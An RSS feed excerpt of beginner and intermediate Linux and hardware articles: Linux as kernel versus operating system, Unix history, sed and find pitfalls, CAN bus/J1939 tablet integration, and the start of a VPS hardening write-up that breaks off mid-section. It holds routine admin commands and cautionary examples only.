<link>https://coderlegion.com/31033/is-linux-an-operating-system-or-just-a-kernel</link>
<description>&lt;p&gt;When I first started learning Linux, I constantly heard two different statements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&quot;Linux is an operating system.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&quot;Linux is just a kernel.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At first, I thought one of them had to be wrong. After learning how Linux actually works, I realized both statements make sense depending on the context.&lt;/p&gt;
&lt;p&gt;Let's understand why.&lt;/p&gt;
&lt;h3 id=&quot;what-is-an-operating-system-&quot;&gt;What Is an Operating System?&lt;/h3&gt;
&lt;p&gt;An operating system (OS) is the software that acts as a bridge between users, applications, and the computer's hardware.&lt;/p&gt;
&lt;p&gt;Without an operating system, applications wouldn't know how to communicate with the CPU, memory, keyboard, display, storage devices, or network hardware.&lt;/p&gt;
&lt;p&gt;An operating system provides services such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Process management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Memory management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;File management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Device management&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security and permissions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Networking&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These services allow applications to run without worrying about the underlying hardware.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-kernel-&quot;&gt;What Is a Kernel?&lt;/h3&gt;
&lt;p&gt;The kernel is the core component of an operating system.&lt;/p&gt;
&lt;p&gt;Think of it as the manager that is always running in the background. Every program that needs hardware access must go through the kernel.&lt;/p&gt;
&lt;p&gt;The kernel is responsible for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Scheduling CPU time&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Allocating memory&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Managing devices using drivers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Handling filesystems&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Managing processes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enforcing permissions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Providing system calls&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Applications cannot directly control hardware. Instead, they request services from the kernel.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Application
      │
System Calls
      │
Linux Kernel
      │
Hardware
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;then-what-is-linux-&quot;&gt;Then What Is Linux?&lt;/h3&gt;
&lt;p&gt;Technically, &lt;strong&gt;Linux&lt;/strong&gt; refers to the Linux kernel created by Linus Torvalds in 1991.&lt;/p&gt;
&lt;p&gt;The kernel alone cannot provide a complete user experience.&lt;/p&gt;
&lt;p&gt;For example, the kernel cannot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Let you type commands&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Display directories with &lt;code&gt;ls&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Copy files using &lt;code&gt;cp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Edit files&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Browse the web&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It simply provides the core functionality needed for these programs to work.&lt;/p&gt;
&lt;h3 id=&quot;so-where-do-commands-come-from-&quot;&gt;So Where Do Commands Come From?&lt;/h3&gt;
&lt;p&gt;Commands like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls
cp
mv
mkdir
grep
cat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;are &lt;strong&gt;not part of the Linux kernel&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Most of these commands come from the &lt;strong&gt;GNU Project&lt;/strong&gt;, which provides many of the utilities we use every day.&lt;/p&gt;
&lt;p&gt;The shell (such as Bash) is also a separate program that lets us interact with the kernel.&lt;/p&gt;
&lt;p&gt;When you type:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the shell starts the &lt;code&gt;ls&lt;/code&gt; program, which eventually makes system calls to the Linux kernel. The kernel retrieves the directory information from the filesystem and returns it to the program, which displays it on your screen.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-linux-distribution-&quot;&gt;What Is a Linux Distribution?&lt;/h3&gt;
&lt;p&gt;A Linux distribution combines everything needed to create a usable operating system.&lt;/p&gt;
&lt;p&gt;A typical distribution includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Linux kernel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;GNU utilities&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Shell (Bash, Zsh, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Package manager&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;System libraries&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Desktop environment (optional)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Applications&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Examples include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ubuntu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Debian&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fedora&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Arch Linux&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Linux Mint&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each distribution uses the Linux kernel but packages it with different software and tools.&lt;/p&gt;
&lt;h3 id=&quot;why-do-some-people-say-gnu-linux-&quot;&gt;Why Do Some People Say GNU/Linux?&lt;/h3&gt;
&lt;p&gt;Richard Stallman and the GNU Project argue that most of the user-space tools come from GNU, while Linux is only the kernel.&lt;/p&gt;
&lt;p&gt;Because of this, some people prefer calling the complete operating system &lt;strong&gt;GNU/Linux&lt;/strong&gt; instead of simply Linux.&lt;/p&gt;
&lt;p&gt;Others use the shorter name &quot;Linux&quot; because it is more common.&lt;/p&gt;
&lt;p&gt;Both terms are widely used today, depending on the context.&lt;/p&gt;
&lt;h3 id=&quot;how-everything-fits-together&quot;&gt;How Everything Fits Together&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;+-----------------------------+
| Applications                |
+-----------------------------+
| Shell (Bash)                |
+-----------------------------+
| GNU Utilities               |
+-----------------------------+
| System Libraries            |
+-----------------------------+
| Linux Kernel                |
+-----------------------------+
| Hardware                    |
+-----------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;what-i-learned&quot;&gt;What I Learned&lt;/h3&gt;
&lt;p&gt;Before learning Linux, I assumed Linux itself contained every command I used.&lt;/p&gt;
&lt;p&gt;Now I understand that the Linux kernel is only the core of the operating system. The commands, shell, libraries, and applications are separate software that work together with the kernel to create the complete Linux experience.&lt;/p&gt;
&lt;p&gt;This also explains why different Linux distributions look and behave differently while sharing the same Linux kernel.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Linux is technically a &lt;strong&gt;kernel&lt;/strong&gt;, not a complete operating system by itself. However, in everyday conversation, people often use the word &lt;strong&gt;Linux&lt;/strong&gt; to refer to the complete operating system provided by Linux distributions.&lt;/p&gt;
&lt;p&gt;Understanding this distinction helped me better understand how Linux works internally and why different distributions can share the same kernel while offering different user experiences.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31033/is-linux-an-operating-system-or-just-a-kernel</guid>
<pubDate>Wed, 14 Oct 2026 08:34:17 +0000</pubDate>
</item>
<item>
<title>Linux from Scratch #1: What is Unix? Why Was It Created?</title>
<link>https://coderlegion.com/31032/linux-from-scratch-1-what-is-unix-why-was-it-created</link>
<description>&lt;p&gt;Before understanding Linux, I realized I first needed to understand Unix.&lt;br&gt;
In my previous article, I shared how installing Ubuntu completely changed the way I thought about operating systems.&lt;/p&gt;
&lt;p&gt;As I started learning Linux, one word kept appearing everywhere:&lt;/p&gt;
&lt;p&gt;Unix.&lt;/p&gt;
&lt;p&gt;People would say things like:&lt;/p&gt;
&lt;p&gt;&quot;Linux is Unix-like.&quot;&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;p&gt;&quot;macOS is based on Unix.&quot;&lt;/p&gt;
&lt;p&gt;That made me wonder:&lt;/p&gt;
&lt;p&gt;If Unix already existed, why was Linux created?&lt;/p&gt;
&lt;p&gt;To answer that question, I had to go back more than 50 years.&lt;/p&gt;
&lt;p&gt;Computing Before Unix&lt;/p&gt;
&lt;p&gt;In the 1960s, computers were very different from what we use today.&lt;/p&gt;
&lt;p&gt;A computer was a huge machine shared by many users, and every manufacturer had its own operating system.&lt;/p&gt;
&lt;p&gt;Programs written for one computer often wouldn't run on another.&lt;/p&gt;
&lt;p&gt;There was no common way to interact with computers.&lt;/p&gt;
&lt;p&gt;The Birth of Unix&lt;/p&gt;
&lt;p&gt;In 1969, researchers at Bell Labs, including Ken Thompson and later Dennis Ritchie, started building a new operating system.&lt;/p&gt;
&lt;p&gt;Their goal wasn't to create something complicated.&lt;/p&gt;
&lt;p&gt;They wanted an operating system that was:&lt;/p&gt;
&lt;p&gt;Simple&lt;/p&gt;
&lt;p&gt;Reliable&lt;/p&gt;
&lt;p&gt;Portable&lt;/p&gt;
&lt;p&gt;Easy for programmers to use&lt;/p&gt;
&lt;p&gt;That operating system became Unix.&lt;/p&gt;
&lt;p&gt;Many ideas introduced by Unix are still part of modern operating systems today.&lt;/p&gt;
&lt;p&gt;Ideas That Changed Computing&lt;/p&gt;
&lt;p&gt;Unix wasn't just another operating system.&lt;/p&gt;
&lt;p&gt;It introduced ideas that have survived for decades.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;Everything is treated like a file.&lt;/p&gt;
&lt;p&gt;Programs should do one job well.&lt;/p&gt;
&lt;p&gt;Programs should work together using pipes (|).&lt;/p&gt;
&lt;p&gt;Multi-user systems.&lt;/p&gt;
&lt;p&gt;Multi-tasking.&lt;/p&gt;
&lt;p&gt;A command-line shell.&lt;/p&gt;
&lt;p&gt;When I learned Linux commands like grep, sort, cat, and pipes, I realized these ideas actually came from Unix.&lt;/p&gt;
&lt;p&gt;Then Why Didn't Everyone Use Unix?&lt;/p&gt;
&lt;p&gt;This was my next question.&lt;/p&gt;
&lt;p&gt;If Unix was so good, why do we have Linux today?&lt;/p&gt;
&lt;p&gt;The answer is licensing.&lt;/p&gt;
&lt;p&gt;Unix was owned by AT&amp;amp;T.&lt;/p&gt;
&lt;p&gt;Over time, using Unix became expensive because companies had to purchase licenses.&lt;/p&gt;
&lt;p&gt;Many universities and developers wanted an operating system they could study, modify, and share freely.&lt;/p&gt;
&lt;p&gt;That problem eventually inspired the creation of projects like GNU and later Linux.&lt;/p&gt;
&lt;p&gt;We'll talk about those in the next articles.&lt;/p&gt;
&lt;p&gt;What I Learned&lt;/p&gt;
&lt;p&gt;Before writing this article, I thought Unix was simply an old operating system.&lt;/p&gt;
&lt;p&gt;Now I understand something much more important.&lt;/p&gt;
&lt;p&gt;Unix wasn't just software.&lt;/p&gt;
&lt;p&gt;It introduced ideas that still influence Linux, macOS, Android, and many other operating systems today.&lt;/p&gt;
&lt;p&gt;Learning Linux without understanding Unix felt like reading Chapter 2 without reading Chapter 1.&lt;/p&gt;
&lt;p&gt;I'm glad I went back to learn the history first.&lt;/p&gt;
&lt;p&gt;What's Next?&lt;/p&gt;
&lt;p&gt;In the next article, we'll answer one of the questions that confused me the most:&lt;/p&gt;
&lt;p&gt;Is Linux an operating system, or is it just a kernel?&lt;/p&gt;
&lt;p&gt;See you in Linux from Scratch #2.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31032/linux-from-scratch-1-what-is-unix-why-was-it-created</guid>
<pubDate>Wed, 14 Oct 2026 08:30:39 +0000</pubDate>
</item>
<item>
<title>Welcome: Why I Started Learning Linux</title>
<link>https://coderlegion.com/31025/welcome-why-i-started-learning-linux</link>
<description>&lt;p&gt;When I joined MountBlue, one of the first things we were asked to do was dual boot Ubuntu.&lt;/p&gt;
&lt;p&gt;Before that, I had always used Windows. I had built several projects on it and, during college, I had only learned a few basic Linux commands like pwd, ls, and cd. To me, Linux was just another operating system that developers talked about.&lt;/p&gt;
&lt;p&gt;I also had many misconceptions.&lt;/p&gt;
&lt;p&gt;I thought Ubuntu, macOS, Windows, and Android were simply different operating systems with no deeper relationship. I had heard that most software companies preferred developers to use Ubuntu or macOS, but I never really understood why.&lt;/p&gt;
&lt;p&gt;Installing Ubuntu made me curious.&lt;/p&gt;
&lt;p&gt;I started asking questions like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Is Linux an operating system or just a kernel?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Why do people keep mentioning Unix and GNU?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Why do developers prefer Linux over Windows?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If Windows already has a terminal, why is Linux so popular among developers?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I explored further, I realized something interesting.&lt;/p&gt;
&lt;p&gt;For most everyday users, the operating system is mainly a way to run applications through a graphical interface. Whether it's browsing the web, watching videos, or editing documents, everything is designed to be accessed through windows, icons, and menus.&lt;/p&gt;
&lt;p&gt;Software developers, however, often work in environments that are very different from a typical personal computer. They interact with remote servers, cloud machines, containers, and virtual machines—systems that often don't have a graphical desktop at all. In these environments, the command-line interface (CLI) becomes the primary way to work.&lt;/p&gt;
&lt;p&gt;That made me realize learning Linux isn't just about memorizing commands. It's about understanding how operating systems work and why developers rely on them every day.&lt;/p&gt;
&lt;p&gt;This series is my attempt to document that journey.&lt;/p&gt;
&lt;p&gt;I'm not writing these articles because I know Linux. I'm writing them because I'm learning Linux—and writing is helping me understand it better. If you're beginning your journey too, let's learn together.&lt;/p&gt;
&lt;p&gt;Welcome to Linux from Scratch.&lt;/p&gt;
&lt;p&gt;In the next article, we'll start from the very beginning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What exactly is Unix, and why did Linux even exist if Unix was already there?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;See you in Part 1.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31025/welcome-why-i-started-learning-linux</guid>
<pubDate>Wed, 14 Oct 2026 08:10:53 +0000</pubDate>
</item>
<item>
<title>I escaped the dot correctly and sed still rewrote a file marked DO NOT CHANGE</title>
<link>https://coderlegion.com/28023/i-escaped-the-dot-correctly-and-sed-still-rewrote-a-file-marked-do-not-change</link>
<description>&lt;p&gt;Four config files, one hostname to rename. I knew the dot in &lt;code&gt;api.internal&lt;/code&gt; is a regex wildcard, so I escaped it. &lt;code&gt;grep -rn 'api.internal'&lt;/code&gt; unescaped matched a fourth file containing &lt;code&gt;apiXinternal&lt;/code&gt; — a typo somebody deliberately kept. Escaped, &lt;code&gt;api\.internal&lt;/code&gt; matched three. Good.&lt;/p&gt;
&lt;p&gt;Then I ran the rename, and two of those three should never have changed: a line ending in &lt;code&gt;# DO NOT CHANGE&lt;/code&gt;, and a commented-out sample. My &lt;code&gt;-not -path &quot;*/samples/*&quot;&lt;/code&gt; exclusion did nothing, because the file was called &lt;code&gt;sample.conf&lt;/code&gt; and was not inside a &lt;code&gt;samples/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;That is the real lesson, and escaping was never the whole answer. The dot is the trap everyone warns about; the trap that actually got me was assuming my exclusion pattern matched what I pictured. The fix is an order, not a flag — make &lt;code&gt;grep -l&lt;/code&gt; print the file list while everything is still read-only, and read it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;find /etc/myapp -type f -name &quot;*.conf&quot; -exec grep -l &quot;api\.internal&quot; {} +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If that list surprises you, the surprise &lt;em&gt;is&lt;/em&gt; the bug, and you found it before anything was written. Only then pipe it to &lt;code&gt;sed -i.bak&lt;/code&gt;, so every file keeps a rollback copy — and diff one against its &lt;code&gt;.bak&lt;/code&gt; before trusting the run. &lt;code&gt;sed -i&lt;/code&gt; exits 0 whether it changed four files or none.&lt;/p&gt;
&lt;p&gt;The awk summarizing stage and the incident-triage pipeline are in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/guides/bash-text-processing&quot;&gt;find, grep, sed and awk ordering guide&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28023/i-escaped-the-dot-correctly-and-sed-still-rewrote-a-file-marked-do-not-change</guid>
<pubDate>Tue, 13 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>CAN Bus and J1939 Integration on Rugged Vehicle Tablets: A Practical Guide</title>
<link>https://coderlegion.com/30355/can-bus-and-j1939-integration-on-rugged-vehicle-tablets-a-practical-guide</link>
<description>&lt;p&gt;Rugged vehicle-mount tablets are only as useful as the data they can read from the machine they're bolted into. On heavy-duty vehicles — tractors, excavators, trucks — that data comes off the &lt;strong&gt;CAN bus&lt;/strong&gt;, and interpreting it correctly means supporting &lt;strong&gt;J1939&lt;/strong&gt; on top. Here's how the layers fit together and what to check when specifying hardware.&lt;/p&gt;
&lt;h3 id=&quot;can-bus-the-physical-layer&quot;&gt;CAN Bus: the physical layer&lt;/h3&gt;
&lt;p&gt;CAN (Controller Area Network) is the internal wiring protocol most commercial vehicles and heavy machinery use so their onboard components — ECUs, transmission modules, sensors — can talk to each other without a dedicated wire per signal. A vehicle terminal taps into this same network and reads the same data the dashboard uses.&lt;/p&gt;
&lt;h3 id=&quot;j1939-the-messaging-layer-on-top&quot;&gt;J1939: the messaging layer on top&lt;/h3&gt;
&lt;p&gt;CAN defines &lt;em&gt;how&lt;/em&gt; bytes move; &lt;strong&gt;J1939&lt;/strong&gt; (SAE) defines &lt;em&gt;what they mean&lt;/em&gt; — engine temperature, fuel rate, diagnostic trouble codes — in a standardized format across manufacturers. A terminal with native J1939 interprets that data correctly whether it's in a tractor, an excavator, or a delivery truck, with no per-brand integration work.&lt;/p&gt;
&lt;h3 id=&quot;iso-11783-isobus-and-iso-15765&quot;&gt;ISO 11783 (ISOBUS) and ISO 15765&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ISO 11783 / ISOBUS VT&lt;/strong&gt; extends J1939 for agricultural implement control — one terminal runs any compliant implement's interface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ISO 15765&lt;/strong&gt; covers diagnostics.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Supporting all three on the same CAN channels means one hardware platform serves a mixed fleet without separate firmware per vehicle type.&lt;/p&gt;
&lt;h3 id=&quot;what-to-check-when-specifying-hardware&quot;&gt;What to check when specifying hardware&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Native CAN, not a USB/serial adapter&lt;/strong&gt; — an external dongle adds a powered component and a connection point that fails under vibration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Channel count&lt;/strong&gt; — a machine with multiple buses needs multiple channels, and this &lt;em&gt;cannot&lt;/em&gt; be added later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CAN FD support&lt;/strong&gt; — larger payloads at higher speed, backward-compatible with classic CAN.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kernel-level access&lt;/strong&gt; — real-time, low-latency CAN needs SocketCAN at the kernel, not just an app-layer library.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;a-practical-note&quot;&gt;A practical note&lt;/h3&gt;
&lt;p&gt;Interface count, not processor speed, is usually the spec that decides whether a terminal fits a job. A unit two CAN channels short is unusable no matter how fast its CPU is.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Full technical write-up, with the specification sequence and model-by-model channel counts, is on our site: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.cf-device.com/blog/hardware/can-bus-j1939-integration-rugged-vehicle-tablet/&quot;&gt;CAN Bus and J1939 Integration for Rugged Vehicle Tablets&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I'm with &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.cf-device.com/&quot;&gt;CF-Device&lt;/a&gt;, a manufacturer of rugged vehicle-mount tablets with native CAN bus, J1939 and ISOBUS support.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30355/can-bus-and-j1939-integration-on-rugged-vehicle-tablets-a-practical-guide</guid>
<pubDate>Fri, 09 Oct 2026 01:59:22 +0000</pubDate>
</item>
<item>
<title>My 30-day log cleanup kept a file that was 30 and a half days old</title>
<link>https://coderlegion.com/28022/my-30-day-log-cleanup-kept-a-file-that-was-30-and-a-half-days-old</link>
<description>&lt;p&gt;I set three log files to known ages with &lt;code&gt;touch -d&lt;/code&gt; — exactly 30 days, 30 days and 12 hours, and 31 days — then ran what I thought was a 30-day retention policy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;find . -name '*.log' -mtime +30
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It returned one file: the 31-day-old one. The 30.5-day file stayed. So did the 30-day file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-mtime&lt;/code&gt; counts &lt;em&gt;whole&lt;/em&gt; 24-hour periods and throws away the remainder, and &lt;code&gt;+30&lt;/code&gt; means strictly greater than 30 of them. A file aged 30 days and 12 hours counts as 30, and 30 is not greater than 30. A real 30-day policy is &lt;code&gt;-mtime +29&lt;/code&gt;. Re-running with &lt;code&gt;+29&lt;/code&gt; returned all three, which is what I wanted in the first place.&lt;/p&gt;
&lt;p&gt;Two more things that bit during the same session. Piping to &lt;code&gt;xargs rm&lt;/code&gt; split &lt;code&gt;app v2.log&lt;/code&gt; on the space — &lt;code&gt;rm&lt;/code&gt; reported &lt;code&gt;cannot remove 'ws/app'&lt;/code&gt; and &lt;code&gt;cannot remove 'v2.log'&lt;/code&gt;, and the file survived. And &lt;code&gt;-delete&lt;/code&gt; is an action that returns true, so putting it before your filter is catastrophic: &lt;code&gt;find ord -delete -name '*.log'&lt;/code&gt; removed a file called &lt;code&gt;keep.txt&lt;/code&gt; and then the directory itself. Preview with &lt;code&gt;-print&lt;/code&gt;, keep &lt;code&gt;-delete&lt;/code&gt; last.&lt;/p&gt;
&lt;p&gt;The multi-directory loop, the &lt;code&gt;.gz&lt;/code&gt; variant, and the cron lines are in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/delete-old-log-files&quot;&gt;find -mtime log retention walkthrough&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28022/my-30-day-log-cleanup-kept-a-file-that-was-30-and-a-half-days-old</guid>
<pubDate>Thu, 08 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>Hardening a Contributor Verification VPS Without Breaking Production</title>
<link>https://coderlegion.com/30124/hardening-a-contributor-verification-vps-without-breaking-production</link>
<description>&lt;h2 id=&quot;building-a-safer-contributor-verification-vps-without-breaking-production&quot;&gt;Building a Safer Contributor Verification VPS Without Breaking Production&lt;/h2&gt;
&lt;p&gt;Hardening a live VPS is rarely about applying a single security checklist.&lt;/p&gt;
&lt;p&gt;The harder problem is this:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;How do you reduce attack surface on a server that is already running production services, contributor verification workloads, Docker environments, databases, reverse proxies, and experimental integrations — without breaking any of them?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That was the situation on a MyZubster VPS we are evolving into a more structured Contributor Verification Node.&lt;/p&gt;
&lt;p&gt;The objective was deliberately conservative:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;identify what is actually running&lt;/li&gt;
&lt;li&gt;reduce unnecessary public binds&lt;/li&gt;
&lt;li&gt;preserve all live workloads&lt;/li&gt;
&lt;li&gt;distinguish repository architecture from runtime architecture&lt;/li&gt;
&lt;li&gt;document every conclusion with reproducible technical evidence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No mass restarts. No destructive Git operations. No speculative rewiring.&lt;/p&gt;
&lt;p&gt;Just one dependency at a time.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-vps-was-doing-too-many-jobs-at-once&quot;&gt;The VPS was doing too many jobs at once&lt;/h3&gt;
&lt;p&gt;The server was already hosting a mix of services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nginx&lt;/li&gt;
&lt;li&gt;MyZubster production gateway&lt;/li&gt;
&lt;li&gt;PM2 applications&lt;/li&gt;
&lt;li&gt;Docker contributor environments&lt;/li&gt;
&lt;li&gt;MongoDB&lt;/li&gt;
&lt;li&gt;Monero services&lt;/li&gt;
&lt;li&gt;Bitcoin verification services&lt;/li&gt;
&lt;li&gt;IPFS&lt;/li&gt;
&lt;li&gt;Qdrant&lt;/li&gt;
&lt;li&gt;Ollama&lt;/li&gt;
&lt;li&gt;n8n&lt;/li&gt;
&lt;li&gt;contributor bridges and pilot services&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This creates a common infrastructure trap.&lt;/p&gt;
&lt;p&gt;A port may look unnecessary.&lt;/p&gt;
&lt;p&gt;A process may look duplicated.&lt;/p&gt;
&lt;p&gt;A service may appear safe to restart.&lt;/p&gt;
&lt;p&gt;But if you do not first understand the dependency graph, a cleanup command can become an outage.&lt;/p&gt;
&lt;p&gt;That immediately ruled out broad actions such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pm2 restart all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git reset --hard
docker system prune
ufw reset
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The working rule became:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;observe
→ identify ownership
→ map dependencies
→ change one thing
→ verify
→ persist
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;start-from-sockets-not-assumptions&quot;&gt;Start from sockets, not assumptions&lt;/h3&gt;
&lt;p&gt;The first meaningful artifact was a listener inventory.&lt;/p&gt;
&lt;p&gt;Using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ss -lntp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we classified services into two groups.&lt;/p&gt;
&lt;p&gt;Some were already correctly restricted:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;127.0.0.1:5003   MyZubster Gateway
127.0.0.1:8787   BTC verifier
127.0.0.1:27017  MongoDB
127.0.0.1:6333   Qdrant
127.0.0.1:5678   n8n
127.0.0.1:8092   contributor bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Others were bound globally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;*:5002
0.0.0.0:5005
0.0.0.0:5173
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A global bind does not automatically mean “publicly exposed.”&lt;/p&gt;
&lt;p&gt;A firewall may still block traffic.&lt;/p&gt;
&lt;p&gt;But it does mean the application is willing to accept traffic on every interface, which increases ambiguity and weakens least-privilege design.&lt;/p&gt;
&lt;p&gt;So the next question was not:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Can we close this port?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It was:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Who actually needs to reach this service?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;hardening-port-5173&quot;&gt;Hardening port 5173&lt;/h3&gt;
&lt;p&gt;The frontend process was listening on:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0.0.0.0:5173
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But nginx already proxied to it locally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;location / {
    proxy_pass http://localhost:5173;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That gave us the actual runtime graph:&lt;/p&gt;
